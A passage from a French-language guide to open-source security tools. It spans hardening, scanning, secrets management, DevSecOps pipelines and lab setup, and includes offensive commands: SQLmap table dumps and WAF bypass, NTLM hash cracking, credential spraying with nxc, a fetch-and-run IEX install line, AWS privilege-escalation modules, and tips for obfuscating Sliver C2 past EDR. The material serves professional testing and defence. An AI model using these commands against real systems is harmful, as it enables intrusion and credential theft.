      name: net.ipv4.ip_forward
      value: '0'
      sysctl_set: yes
      reload: yes

  - name: "CIS 5.2 — Configurer SSH"
    lineinfile:
      path: /etc/ssh/sshd_config
      regexp: "{{ item.regexp }}"
      line: "{{ item.line }}"
    loop:
      - { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin no' }
      - { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' }
      - { regexp: '^#?X11Forwarding', line: 'X11Forwarding no' }
      - { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' }
      - { regexp: '^#?ClientAliveInterval', line: 'ClientAliveInterval 300' }
      - { regexp: '^#?LoginGraceTime', line: 'LoginGraceTime 60' }
    notify: restart sshd

  handlers:
  - name: restart sshd
    service:
      name: sshd
      state: restarted

36. Checkov — Scanner IaC (Infrastructure as Code)

# Installation
pip3 install checkov

# Scanner un répertoire Terraform
checkov -d ./terraform/ --framework terraform

# Scanner des fichiers Kubernetes
checkov -f deployment.yaml --framework kubernetes

# Scanner un Dockerfile
checkov -f Dockerfile --framework dockerfile

# Scanner CloudFormation AWS
checkov -f template.yaml --framework cloudformation

# Résultat type :
# Check: CKV_K8S_30: "Do not admit containers that wish to share the host process ID namespace"
# PASSED for resource: Pod.production.my-app
# Check: CKV_K8S_8: "Liveness Probe should be configured"
# FAILED for resource: Pod.production.my-app

# Générer un rapport SARIF (GitHub Code Scanning)
checkov -d . --output sarif --output-file results.sarif

37. Semgrep — Analyse statique de code multi-langages

# Installation
pip3 install semgrep

# Scanner avec les règles communautaires de sécurité
semgrep --config=p/security-audit --config=p/owasp-top-ten ./src/

# Scanner spécifique Python (injection SQL, XSS, etc.)
semgrep --config=p/python ./src/

# Scanner JavaScript/TypeScript
semgrep --config=p/javascript --config=p/typescript ./frontend/

# Écrire une règle Semgrep personnalisée
cat > detect_hardcoded_secrets.yaml << 'EOF'
rules:
  - id: hardcoded-api-key
    patterns:
      - pattern: |
          $VAR = "..."
      - metavariable-regex:
          metavariable: $VAR
          regex: (api_key|secret_key|password|token|passwd)
      - metavariable-regex:
          metavariable: "..."
          regex: "[a-zA-Z0-9_\\-]{20,}"
    message: |
      Possible secret hardcodé dans $VAR. Utiliser des variables d'environnement
      ou un gestionnaire de secrets (HashiCorp Vault, AWS Secrets Manager).
    severity: ERROR
    languages: [python, javascript, go, java]
EOF

semgrep --config=detect_hardcoded_secrets.yaml ./src/

# Intégration CI/CD (GitHub Actions)
# - uses: returntocorp/semgrep-action@v1
#   with:
#     config: p/security-audit p/owasp-top-ten

38. OpenVAS/Greenbone — Scanner de vulnérabilités réseau

# Installation via Docker (recommandé)
docker pull greenbone/gvm
docker-compose up -d  # Avec le docker-compose officiel Greenbone

# Accès Web UI : https://localhost:9392
# Credentials initiaux : admin / admin

# Configuration et scan via CLI
gvm-cli --gmp-username admin --gmp-password admin \
  socket --xml ""

# Script Python pour automatiser les scans
pip3 install python-gvm

python3 << 'EOF'
from gvm.connections import UnixSocketConnection
from gvm.protocols.gmp import Gmp
from gvm.transforms import EtreeResultTransform

connection = UnixSocketConnection(path='/run/gvmd/gvmd.sock')
with Gmp(connection=connection, transform=EtreeResultTransform()) as gmp:
    gmp.authenticate('admin', 'admin')

    # Créer une cible
    res = gmp.create_target(
        name='Pentest Target',
        hosts=['192.168.1.100'],
        port_list_id='730ef368-57e2-11e1-a90f-406186ea4fc5'  # All IANA assigned TCP
    )
    target_id = res.get('id')

    # Lancer un scan complet
    res = gmp.create_task(
        name='Full Scan',
        config_id='daba56c8-73ec-11df-a475-002264764cea',  # Full and fast
        target_id=target_id,
        scanner_id='08b69003-5fc2-4037-a479-93b440211c73'  # Default scanner
    )
    task_id = res.get('id')
    gmp.start_task(task_id)
    print(f"Scan démarré: {task_id}")
EOF

39. Velociraptor — Digital Forensics et Incident Response à grande échelle

# Velociraptor — DFIR platform pour réponse aux incidents à grande échelle

# Téléchargement
wget https://github.com/Velocidex/velociraptor/releases/latest/download/velociraptor-v0.72-linux-amd64

# Génération de la configuration
./velociraptor config generate > server.config.yaml

# Démarrer le serveur
./velociraptor --config server.config.yaml frontend

# Déploiement d'agents sur les endpoints
./velociraptor --config client.config.yaml client

# VQL (Velociraptor Query Language) — exemples
# Lister tous les processus avec connexions réseau
SELECT Name, Pid, CommandLine, {
  SELECT * FROM netstat() WHERE Pid=Process.Pid
} AS NetworkConnections
FROM pslist()

# Rechercher des artefacts de persistance
SELECT * FROM artifacts.Windows.Persistence.PermanentWMIEvents()

# Chercher Mimikatz en mémoire sur tous les endpoints
SELECT * FROM hunt(query={
  SELECT * FROM yara(rules=mimikatz_rules, pid=Pid)
  FROM pslist()
})

# Chasse aux indicateurs de compromission (hunt)
# Depuis l'interface web : Hunts > New Hunt > Sélectionner artefact

40. GitLeaks — Détection de secrets dans Git

# Installation
go install github.com/gitleaks/gitleaks/v8@latest

# Scanner tout l'historique Git d'un repo
gitleaks detect --source . --report-format json --report-path leaks.json

# Scanner un commit spécifique
gitleaks detect --source . --log-opts "HEAD~10..HEAD"

# Pre-commit hook (prévention)
cat > .git/hooks/pre-commit << 'EOF'
#!/bin/bash
gitleaks protect --staged --redact
exit $?
EOF
chmod +x .git/hooks/pre-commit

# Règles personnalisées
cat > custom-rules.toml << 'EOF'
[[rules]]
id = "company-internal-token"
description = "Token interne de l'entreprise"
regex = '''COMPANY_[A-Z0-9]{32}'''
tags = ["key", "company"]
EOF

gitleaks detect --source . --config custom-rules.toml

41. Tableau de synthèse des 50 outils

42. Outils web avancés : SQLmap, ffuf, OWASP ZAP

# SQLmap — Détection et exploitation automatique des injections SQL
# Installation
pip3 install sqlmap

# Test basique
sqlmap -u "https://example.com/search?q=test" --dbs

# Test avec authentification
sqlmap -u "https://example.com/api/user" \
  --cookie="session=abc123" \
  --data="id=1" \
  --method=POST \
  --dbs

# Dump d'une table spécifique
sqlmap -u "https://example.com/?id=1" -D mydb -T users --dump

# Bypass WAF
sqlmap -u "https://example.com/?id=1" --tamper=space2comment, between, randomcase

# ffuf — Fuzzer web ultra-rapide
go install github.com/ffuf/ffuf/v2@latest

# Découverte de répertoires
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -u https://example.com/FUZZ -mc 200,301,302

# Fuzzing de paramètres
ffuf -w params.txt -u "https://example.com/api?FUZZ=test" -mc 200

# Fuzzing de sous-domaines (avec filtre sur la taille)
ffuf -w subdomains.txt -u https://FUZZ.example.com -fs 4242

# OWASP ZAP — Scan DAST automatisé
docker pull owasp/zap2docker-stable

# Spider + scan actif
docker run -t owasp/zap2docker-stable zap-baseline.py \
  -t https://example.com \
  -r zap-report.html \
  -J zap-report.json

# Scan complet (avec auth)
docker run -t owasp/zap2docker-stable zap-full-scan.py \
  -t https://example.com \
  -z "-config replacer.full_list(0).description=auth_header \
       -config replacer.full_list(0).enabled=true \
       -config replacer.full_list(0).matchtype=REQ_HEADER \
       -config replacer.full_list(0).matchstr=Authorization \
       -config replacer.full_list(0).replacement=Bearer\ YOUR_TOKEN"

43. Cloud security : Prowler et ScoutSuite

# Prowler — Audit de sécurité AWS/Azure/GCP/Kubernetes
pip3 install prowler

# Audit AWS complet
prowler aws --profile myprofile

# Audit ciblé sur des services spécifiques
prowler aws --profile myprofile --service s3 iam ec2

# Audit Azure
prowler azure --az-cli-auth

# Vérifications critiques AWS :
# check12 — MFA sur root account
# check15 — CloudTrail activé dans toutes les régions
# check17 — Security Hub activé
# check21 — Pas de security groups avec 0.0.0.0/0 sur ports sensibles

# ScoutSuite — Audit multi-cloud
pip3 install scoutsuite

# Audit AWS
scout aws --profile myprofile --report-dir ./scoutsuite-report

# Audit Azure
scout azure --cli

# Les rapports HTML ScoutSuite sont très lisibles et classent par sévérité
# Génère un rapport HTML interactif : scoutsuite-report/index.html

# Lynis — Audit système Linux complet
git clone https://github.com/CISOfy/lynis
cd lynis
./lynis audit system

# Score de hardening sur 100
# Résultats dans /var/log/lynis.log et /var/log/lynis-report.dat

FAQ — Questions sur l'arsenal open source sécurité

Comment choisir entre Trivy, Grype et Snyk pour le scanning de conteneurs ?

Le choix dépend du contexte : Trivy est le meilleur choix polyvalent car il couvre images, Dockerfiles, IaC et secrets dans un seul outil, avec une intégration CI/CD excellente et une base de données mise à jour très fréquemment. Grype excelle dans la précision des vulnérabilités applicatives Python/Node/Java et s'intègre idéalement avec Syft pour les workflows SBOM. Snyk Container ajoute une valeur ajoutée avec ses suggestions d'images de base alternatives et son monitoring continu, mais son modèle freemium peut devenir coûteux à grande échelle. Pour une couverture maximale, utiliser Trivy en CI/CD bloquant et Snyk pour le monitoring continu en production.

BloodHound Community Edition vs la version commerciale BloodHound Enterprise — quelle différence ?

BloodHound CE (open source) offre toutes les fonctionnalités de collecte et d'analyse de graphes AD, avec l'interface web moderne et le support de la syntaxe Cypher. BloodHound Enterprise ajoute la collecte continue et automatisée (sans relancer SharpHound manuellement), les alertes sur les nouveaux chemins d'attaque, l'intégration avec des SIEM, et des fonctionnalités de suivi de la remédiation dans le temps. Pour un usage en pentest ponctuel, BloodHound CE est suffisant. Pour une utilisation défensive permanente dans un SOC, Enterprise justifie son coût.

Nuclei peut-il provoquer des dommages sur les systèmes de production ?

Certains templates Nuclei incluent des vérifications actives qui peuvent avoir des effets de bord sur des systèmes fragiles. Les templates de la catégorie severity:critical testent parfois des conditions d'exploitation réelles. Pour les systèmes de production, utiliser --severity info, low, medium uniquement, activer l'option --rate-limit 10 pour limiter le débit, et exclure les templates tags:dos, intrusive. La bonne pratique est de tester avec -dry-run d'abord, ou de scanner uniquement des environnements de staging.

Quelle est la différence entre Wazuh et une solution SIEM commerciale comme Splunk ?

Wazuh couvre les fonctions SIEM de base (collecte, corrélation, alertes), EDR (agent avec réponse active), conformité (CIS, PCI-DSS, HIPAA, GDPR), et DFIR (analyse d'intégrité, forensique). Splunk offre une ingestion de données bien plus large, une scalabilité supérieure, un langage de requête SPL très puissant, et un écosystème d'applications (Splunkbase) considérable. Le choix Wazuh est pertinent jusqu'à ~5000 endpoints avec des équipes IT/sécurité limitées. Au-delà, la scalabilité et les fonctionnalités d'analyse avancée de Splunk ou Elastic SIEM deviennent nécessaires.

Comment utiliser MISP et OpenCTI ensemble dans un SOC ?

MISP et OpenCTI sont complémentaires plutôt que concurrents. MISP est optimisé pour le partage d'IOCs en temps réel entre organisations (CERT, ISAC, partenaires) via son protocole natif et ses taxonomies. OpenCTI est optimisé pour le contexte stratégique, la visualisation des relations entre acteurs, tactiques (ATT&CK) et campagnes, nativement aligné sur STIX 2.1. L'intégration standard consiste à synchroniser MISP → OpenCTI (connecteur officiel) pour enrichir les IOCs MISP avec le contexte OpenCTI, puis à envoyer les IOCs vers Suricata/Zeek/Wazuh pour la détection opérationnelle. TheHive fait le lien entre les alertes opérationnelles et les cas d'investigation.

Sliver est-il détecté par les antivirus modernes ?

Sliver avec sa configuration par défaut est généralement détecté par les EDR modernes (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint). Les opérateurs Red Team utilisent des techniques d'obfuscation : compilation avec des paramètres aléatoires (--obfuscate), utilisation de profils de malleable C2 pour mimer le trafic légitime, HTTPS avec des certificats apparentant aux CDN courants, exécution via des shellcode loaders personnalisés en mémoire. En 2026, la détection basée sur le comportement (EDR) est plus difficile à contourner que la détection basée sur les signatures — l'objectif est d'avoir un comportement indiscernable des applications légitimes.

Comment automatiser un audit de sécurité complet avec ces outils open source ?

Un pipeline d'audit automatisé typique : (1) Reconnaissance avec Amass + Subfinder → liste de cibles. (2) Scan de disponibilité avec httpx + Nmap → services actifs. (3) Scanning de vulnérabilités avec Nuclei sur tous les services découverts. (4) Scanning web avec ZAP en mode daemon sur les applications HTTP/HTTPS. (5) Corrélation des résultats et déduplication. (6) Import dans TheHive ou Jira pour le suivi. Des frameworks comme ReconFTW ou Penelope automatisent déjà une partie de ce workflow. Pour les audits continus, les résultats Nuclei peuvent alimenter directement le MISP de l'organisation pour le suivi des vulnérabilités dans le temps.

Quel environnement de test recommandez-vous pour pratiquer ces outils ?

Pour la pratique légale : (1) TryHackMe et HackTheBox — plateformes cloud avec machines vulnérables légales. (2) VulnHub — VMs téléchargeables gratuitement pour lab local. (3) DVWA (Damn Vulnerable Web Application) + WebGoat pour les tests web. (4) GOAD (Game of Active Directory) — environnement AD complet avec plusieurs domaines vulnérables pour BloodHound/Impacket. (5) DetectionLab — lab Vagrant/Packer pour tester les configurations défensives (Wazuh, Zeek, Suricata). (6) Pour les conteneurs : Kubernetes Goat et KubeCon Security Workshop materials. Ces environnements permettent de pratiquer en toute légalité l'intégralité des outils présentés dans cet article.

Pour approfondir l'utilisation de ces outils dans un contexte Active Directory, consultez notre guide sur la sécurité Active Directory. La mise en place d'un SOC open source complet est détaillée dans notre article sur le SOC avec Wazuh et TheHive. Pour les techniques de red team avancées, notre guide sur l'infrastructure red team couvre les aspects opérationnels. La sécurité des applications web et l'utilisation de Burp Suite font l'objet d'un guide dédié sur le pentest web avec Burp Suite. Enfin, notre analyse de la méthodologie de threat hunting complète l'utilisation défensive de ces outils.

Références : OWASP Free Security Tools et NIST Cybersecurity Framework.

44. Outils de gestion des secrets et du chiffrement

HashiCorp Vault — Gestion centralisée des secrets

# Déploiement HashiCorp Vault en production (HA avec Raft)
# https://developer.hashicorp.com/vault/docs

# Installation
curl -fsSL https://apt.releases.hashicorp.com/gpg | gpg --dearmor | \
  sudo tee /usr/share/keyrings/hashicorp-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] \
  https://apt.releases.hashicorp.com $(lsb_release -cs) main" | \
  sudo tee /etc/apt/sources.list.d/hashicorp.list
sudo apt update && sudo apt install vault

# Configuration cluster HA Raft (/etc/vault.d/vault.hcl)
cat > /etc/vault.d/vault.hcl << 'EOF'
storage "raft" {
  path    = "/opt/vault/data"
  node_id = "vault-node-1"

  retry_join {
    leader_api_addr = "https://vault-2.company.com:8200"
  }
  retry_join {
    leader_api_addr = "https://vault-3.company.com:8200"
  }
}

listener "tcp" {
  address     = "0.0.0.0:8200"
  tls_cert_file = "/etc/vault.d/tls/vault.crt"
  tls_key_file  = "/etc/vault.d/tls/vault.key"
  tls_min_version = "tls13"
}

api_addr = "https://vault-1.company.com:8200"
cluster_addr = "https://vault-1.company.com:8201"

# Auto-unseal via AWS KMS (évite le unseal manuel)
seal "awskms" {
  region     = "eu-west-1"
  kms_key_id = "arn:aws:kms:eu-west-1:123456789:key/key-id"
}

ui = true
log_level = "info"
EOF

# Initialisation (une seule fois)
vault operator init -key-shares=5 -key-threshold=3 | tee /tmp/vault_init_SECURE.txt
# STOCKER LES CLÉS EN LIEU SÛR — HSM ou procédure de split knowledge

# Configuration des secrets engines
export VAULT_ADDR="https://vault-1.company.com:8200"
export VAULT_TOKEN="root_token_from_init"

# KV v2 pour les secrets applicatifs
vault secrets enable -path=secret kv-v2
vault kv put secret/myapp/production \
  db_password="$(openssl rand -base64 32)" \
  api_key="$(openssl rand -hex 32)"

# Rotation automatique des credentials base de données
vault secrets enable database
vault write database/config/production \
  plugin_name=mysql-database-plugin \
  connection_url="{{username}}:{{password}}@tcp(db.company.com:3306)/" \
  allowed_roles="myapp-role" \
  username="vault-admin" \
  password="vault-admin-password"

vault write database/roles/myapp-role \
  db_name=production \
  creation_statements="CREATE USER '{{name}}'@'%' IDENTIFIED BY '{{password}}'; GRANT SELECT,INSERT,UPDATE ON mydb.* TO '{{name}}'@'%';" \
  revocation_statements="DROP USER '{{name}}'@'%';" \
  default_ttl="1h" \
  max_ttl="24h"

# Récupérer des credentials dynamiques (valides 1h)
vault read database/creds/myapp-role
# Key                Value
# lease_duration     1h
# username           v-myapp-xyz123
# password           A1b2C3d4E5f6...

Age — Chiffrement de fichiers moderne

# Age — Alternative moderne à GPG pour le chiffrement de fichiers
# https://github.com/FiloSottile/age
go install filippo.io/age/cmd/age@latest
go install filippo.io/age/cmd/age-keygen@latest

# Générer une paire de clés
age-keygen -o ~/.config/age/key.txt
# Created: /home/user/.config/age/key.txt
# Public key: age1xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

# Chiffrer un fichier
age -r age1xxx... -o secrets.age secrets.txt

# Chiffrer pour plusieurs destinataires
age -r age1alice... -r age1bob... -o team-secrets.age secrets.txt

# Déchiffrement
age -d -i ~/.config/age/key.txt -o secrets.txt secrets.age

# Intégration avec git-crypt (chiffrement transparent dans Git)
git-crypt init
git-crypt add-gpg-user GPG_KEY_ID
# ou avec Age via git-crypt-age

45. Tests de pénétration Cloud : outils spécialisés

# Pacu — Framework de pentest AWS (open source)
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu && pip3 install -r requirements.txt
python3 pacu.py

# Modules Pacu essentiels pour l'évaluation AWS :
# aws__enum_account           — Énumération du compte AWS
# iam__enum_permissions       — Permissions IAM de l'identité courante
# iam__privesc_scan           — Scan des chemins d'escalade de privilèges IAM
# s3__download_bucket         — Télécharger le contenu des buckets S3 accessibles
# ec2__enum                   — Inventaire EC2
# lambda__enum                — Énumération des fonctions Lambda
# secrets__scan_env           — Chercher des secrets dans les variables d'environnement

# ROADtools — Énumération Azure AD
pip3 install roadtools
roadrecon auth --as-app --tenant YOUR_TENANT_ID
roadrecon gather  # Énumère tous les objets Azure AD
roadrecon gui     # Interface web pour analyser les résultats

# BlobHunter — Chercher des données sensibles dans Azure Blob Storage
git clone https://github.com/cyberark/BlobHunter
pip3 install -r requirements.txt
python3 BlobHunter.py

# GCPBucketBrute — Découverte de buckets GCS publics
pip3 install gcpbucketbrute
python3 gcpbucketbrute.py -k company-name -u user@company.com

# CloudFox — Contextualisation des permissions cloud
go install github.com/BishopFox/cloudfox@latest
cloudfox aws --profile myprofile all-checks
cloudfox azure --tenant tenant-id all-checks

46. Outils de simulation d'adversaire (BAS)

Les outils de BAS (Breach and Attack Simulation) permettent de tester automatiquement les défenses en simulant des techniques d'attaque réelles documentées dans MITRE ATT&CK.

# Atomic Red Team — Bibliothèque de tests ATT&CK
# https://github.com/redcanaryco/atomic-red-team

# Installation sur PowerShell (Windows)
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)
Install-AtomicRedTeam -getAtomics

# Exécuter une technique ATT&CK (exemple: T1059.001 — PowerShell)
Invoke-AtomicTest T1059.001 -TestNumbers 1

# Exécuter toutes les tests pour une technique
Invoke-AtomicTest T1059.001 -ShowDetailsBrief

# Vérifier la télémétrie de détection
Invoke-AtomicTest T1059.001 -TestNumbers 1 -CheckPrereqs

# Caldera — Plateforme BAS MITRE (adversary emulation)
# https://github.com/mitre/caldera
git clone https://github.com/mitre/caldera.git --recursive
cd caldera && pip3 install -r requirements.txt
python3 server.py --insecure  # Mode développement

# Accès web : http://localhost:8888
# Déployer des agents sur les endpoints cibles
# Lancer des opérations automatisées basées sur des profils adversaires

# Stratus Red Team — Attaques cloud atomiques
go install github.com/DataDog/stratus-red-team/v2/cmd/stratus@latest

# Lister toutes les techniques disponibles
stratus list

# Exécuter une technique AWS (exemple: IAM credentials exfiltration)
stratus detonate aws.credential-access.ec2-steal-instance-credentials
# Vérifie que vos alertes SIEM/CloudTrail détectent l'événement

# Nettoyage après simulation
stratus revert aws.credential-access.ec2-steal-instance-credentials

47. Outils de déchiffrement et de cracking avancés

# CyberChef — Couteau suisse pour la manipulation de données (web app)
# https://gchq.github.io/CyberChef/ ou en local :
docker run -d -p 8080:80 mpepping/cyberchef

# Opérations CyberChef courantes en forensique/analyse :
# - Decode Base64 → Gunzip → Extract strings
# - XOR avec clé connue → Hex → ASCII
# - JWT Decode (sans vérification)
# - URL decode multiple
# - Extract patterns (IPs, domaines, emails, hashes)

# Cryptanalysis avec SageMath (pour CTF/recherche)
docker run -it sagemath/sagemath
# sage: factor(n)  # Factorisation RSA (n petit)
# sage: discrete_log(...)  # Logarithme discret

# Hashcat avec règles avancées pour les mots de passe complexes
# Règle d'entreprise typique : 8+ chars, maj, min, chiffre, spécial
# Approche hybrid : dictionnaire + règles de transformation

cat > enterprise_rules.rule << 'EOF'
# Capitaliser première lettre + ajouter chiffres + spéciaux
c $1 $!
c $2 $@
c $1 $2 $3 $!
u Az"1!" Az"2@"
c Az"!1" Az"@2"
c sa@ $1 $!
EOF

hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r enterprise_rules.rule -r /usr/share/hashcat/rules/best64.rule \
  --increment --increment-min=4

# crackmapexec module pour tester les credentials crackés
nxc smb 192.168.1.0/24 -u users.txt -p cracked_passwords.txt \
  --continue-on-success --no-bruteforce

48. Frameworks de rapports de pentest

# Dradis — Plateforme collaborative de rapports de pentest
# https://dradisframework.com
gem install dradisframework

# Plextrac — Alternative SaaS
# https://plextrac.com

# pwndoc — Outil open source pour les rapports de pentest en Word/PDF
git clone https://github.com/pwndoc/pwndoc
cd pwndoc && docker-compose up -d
# Accès : http://localhost:8887

# Reconnaissance automatisée des formats de rapport PTES
# PTES (Penetration Testing Execution Standard) structure :
cat > pentest_report_template.md << 'EOF'
# Rapport de Pentest — [Client] — [Date]

## 1. Résumé Exécutif
### 1.1 Périmètre
### 1.2 Score de Risque Global
### 1.3 Top 5 Recommandations

## 2. Méthodologie
### 2.1 Approche
### 2.2 Outils utilisés
### 2.3 Contraintes

## 3. Résultats Détaillés
### [FINDING-001] Titre de la Vulnérabilité
**Sévérité :** CRITICAL | HIGH | MEDIUM | LOW | INFO
**CVSS v3.1 :** [score]
**Description :**
**Impact :**
**Preuve :**
**Remédiation :**
**Références :**

## 4. Plan de Remédiation
## 5. Annexes
EOF

# Création automatique de rapport avec Python + python-docx
pip3 install python-docx jinja2

49. DevSecOps : intégration sécurité dans les pipelines

# Pipeline GitHub Actions complet avec tous les outils de sécurité
name: Security Pipeline

on:
  push:
    branches: [main, develop]
  pull_request:

jobs:
  sast:
    name: Static Analysis
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4

    - name: Semgrep SAST
      uses: returntocorp/semgrep-action@v1
      with:
        config: >-
          p/security-audit
          p/owasp-top-ten
          p/python
          p/javascript

    - name: GitLeaks — Secrets scan
      uses: gitleaks/gitleaks-action@v2
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

    - name: Checkov IaC scan
      uses: bridgecrewio/checkov-action@v12
      with:
        directory: terraform/
        framework: terraform, kubernetes

  container-security:
    name: Container Security
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4

    - name: Build image
      run: docker build -t myapp:${{ github.sha }} .

    - name: Trivy scan (block on CRITICAL)
      uses: aquasecurity/trivy-action@master
      with:
        image-ref: myapp:${{ github.sha }}
        exit-code: 1
        severity: CRITICAL
        format: sarif
        output: trivy-results.sarif

    - name: Upload Trivy results
      uses: github/codeql-action/upload-sarif@v3
      with:
        sarif_file: trivy-results.sarif

    - name: Generate SBOM
      run: |
        curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin
        syft myapp:${{ github.sha }} -o spdx-json > sbom.spdx.json

    - name: Push and sign image
      run: |
        docker push myregistry.com/myapp:${{ github.sha }}
        cosign sign --yes myregistry.com/myapp:${{ github.sha }}
      env:
        COSIGN_EXPERIMENTAL: "1"

  dast:
    name: Dynamic Analysis
    runs-on: ubuntu-latest
    services:
      app:
        image: myapp:${{ github.sha }}
        ports:
          - 8080:8080
    steps:
    - name: OWASP ZAP Baseline Scan
      uses: zaproxy/action-baseline@v0.10.0
      with:
        target: http://localhost:8080
        rules_file_name: .zap/rules.tsv
        fail_action: true

50. Référentiel complet des ressources open source 2026

L'écosystème de la cybersécurité open source évolue rapidement. Voici les sources pour rester à jour :

# Suivi des nouvelles versions avec GitHub Actions
cat > .github/workflows/track-tools.yml << 'EOF'
name: Track Tool Releases

on:
  schedule:
    - cron: '0 9 * * MON'  # Chaque lundi matin

jobs:
  check-releases:
    runs-on: ubuntu-latest
    steps:
    - name: Check latest Trivy
      run: |
        LATEST=$(curl -s https://api.github.com/repos/aquasecurity/trivy/releases/latest | jq -r .tag_name)
        CURRENT=$(trivy --version | awk '{print $2}')
        echo "Trivy: current=$CURRENT, latest=$LATEST"

    - name: Check latest Nuclei
      run: |
        LATEST=$(curl -s https://api.github.com/repos/projectdiscovery/nuclei/releases/latest | jq -r .tag_name)
        echo "Nuclei latest: $LATEST"
EOF

# Newsletters et ressources de veille :
# - ToolsWatch.org : Nouveaux outils sécurité
# - OWASP Newsletter : Updates OWASP
# - Hacking Articles : Tutoriaux avec outils open source
# - HackerNews + Security tag : Discussions communautaires
# - r/netsec : Subreddit sécurité

# Distributions Linux orientées sécurité incluant ces outils :
# - Kali Linux (rolling release) : standard pentesting
# - Parrot OS : alternative plus légère
# - BlackArch : archlinux avec >2800 outils
# - REMnux : forensique et analyse malwares
# - FLARE VM : équivalent Windows pour l'analyse malwares

# Conteneur Docker tout-en-un pour pentesting
docker pull kalilinux/kali-rolling
docker run -it --rm kalilinux/kali-rolling bash
apt update && apt install -y nuclei nmap sqlmap impacket-scripts

51. Critères de sélection des outils de sécurité open source

La sélection d'outils open source pour un environnement de sécurité professionnel ne doit pas se faire au hasard ou uniquement sur la base de la popularité sur GitHub. Plusieurs critères objectifs permettent d'évaluer la maturité, la fiabilité et la pérennité d'un outil avant de l'intégrer dans un programme de sécurité d'entreprise.

Le premier critère est l'activité de développement et la maintenance. Un projet avec plus de 6 mois sans commits significatifs est potentiellement abandonné. Les métriques importantes à examiner incluent la fréquence des releases, le temps moyen de résolution des issues de sécurité critiques, la réactivité des mainteneurs aux pull requests, et la présence d'un processus de divulgation responsable des vulnérabilités (security.md, bug bounty program). Des projets comme Trivy (Aqua Security, >200 contributeurs actifs, release mensuelle) ou Nuclei (ProjectDiscovery, >5 releases majeures par an) illustrent le niveau d'activité souhaitable.

Le deuxième critère est la base d'utilisateurs et l'écosystème. Un outil largement utilisé bénéficie d'une détection plus rapide des bugs, d'une documentation plus complète, d'une communauté de support active et d'une meilleure intégration avec les autres outils de l'écosystème. Les indicateurs sont les stars GitHub (indicateur imparfait mais utile), le nombre de forks actifs, la présence de questions sur Stack Overflow, de formations sur Udemy ou SANS, et l'intégration dans les distributions de sécurité comme Kali Linux ou REMnux. Un outil absent de ces distributions mérite un examen approfondi de ses références.

Le troisième critère est la qualité de la documentation et de la roadmap. Un outil bien documenté avec une roadmap publique facilite son adoption, sa montée en compétence des équipes et son intégration dans les processus. La documentation doit couvrir non seulement l'utilisation basique mais aussi les cas d'usage avancés, les limitations connues, les problèmes de performance, et les exemples d'intégration avec d'autres outils. Une roadmap publique permet également d'anticiper les évolutions et de planifier les migrations.

Le quatrième critère est la sécurité du code source lui-même. L'ironie d'un outil de sécurité qui serait lui-même vulnérable est réelle. Il convient d'examiner l'historique des CVEs de l'outil (NVD, GitHub Security Advisories), la présence d'un OpenSSF Scorecard favorable (automatisé par GitHub), l'utilisation de builds reproductibles, et la signature des releases. Des outils comme Falco, maintenu par la CNCF avec un processus de sécurité rigoureux, ou Cosign, certifié par le projet Sigstore avec une chaîne de signature formelle, sont des exemples de la rigueur attendue.

Le cinquième critère est la compatibilité avec les exigences réglementaires et de conformité. Certains outils ne peuvent être utilisés que dans des environnements non-soumis à des contraintes d'exportation (EAR aux États-Unis), d'autres peuvent entrer en conflit avec des politiques de protection des données (RGPD) si leur utilisation implique l'envoi de données à des serveurs tiers. L'analyse des licences (GPL, MIT, Apache, SSPL) est également importante pour les déploiements commerciaux : la licence SSPL de MongoDB, par exemple, a des implications pour les entreprises qui redistribuent MongoDB dans un service cloud.

52. Construction d'un lab de sécurité professionnel

La pratique régulière avec les outils de sécurité dans un environnement contrôlé est indispensable pour maintenir et développer les compétences. Un lab de sécurité professionnel bien construit permet de tester de nouveaux outils, de reproduire des vulnérabilités pour comprendre leur fonctionnement, et de simuler des scénarios d'attaque et de défense réalistes.

L'architecture d'un lab de sécurité personnel efficace repose sur la virtualisation. Un serveur dédié (ou un poste de travail puissant avec au moins 32 Go de RAM et 8 cœurs) fait tourner un hyperviseur de type 1 comme Proxmox VE (open source, gratuit) ou VMware ESXi (commercial mais version free disponible). Proxmox VE est recommandé pour les labs à budget limité car il inclut ZFS (snapshots instantanés), LXC (conteneurs légaux) et KVM (VMs complètes) dans une interface unifiée.

La segmentation du lab en plusieurs réseaux virtuels (VLANs) reproduit une architecture d'entreprise réaliste. Un réseau "attaquant" isole les outils offensifs (Kali Linux, Parrot OS) du reste du lab. Un réseau "cible" contient les machines vulnérables (Metasploitable, DVWA, HackTheBox machines locales). Un réseau "défense" héberge les solutions de monitoring (Wazuh, Suricata, Zeek, TheHive). Un réseau "Active Directory" simule une infrastructure d'entreprise complète avec GOAD (Game of Active Directory) ou la plateforme Ludus. Ces réseaux sont connectés via des règles de pare-feu qui simulent les politiques de segmentation qu'on rencontrerait en entreprise.

La gestion des snapshots est cruciale dans un lab de sécurité. Avant chaque expérimentation, un snapshot de l'état propre de chaque VM permet de revenir à un état connu en quelques secondes après une compromission intentionnelle ou accidentelle. Les snapshots doivent être organisés de manière systématique avec des nommages explicites incluant la date et l'état décrit (par exemple "win10-base-clean-20260501", "ubuntu-server-hardened-pre-test"). Des outils comme Ansible permettent également de "rerouler" automatiquement des configurations complexes depuis leur état initial, comme alternative aux snapshots lourds.

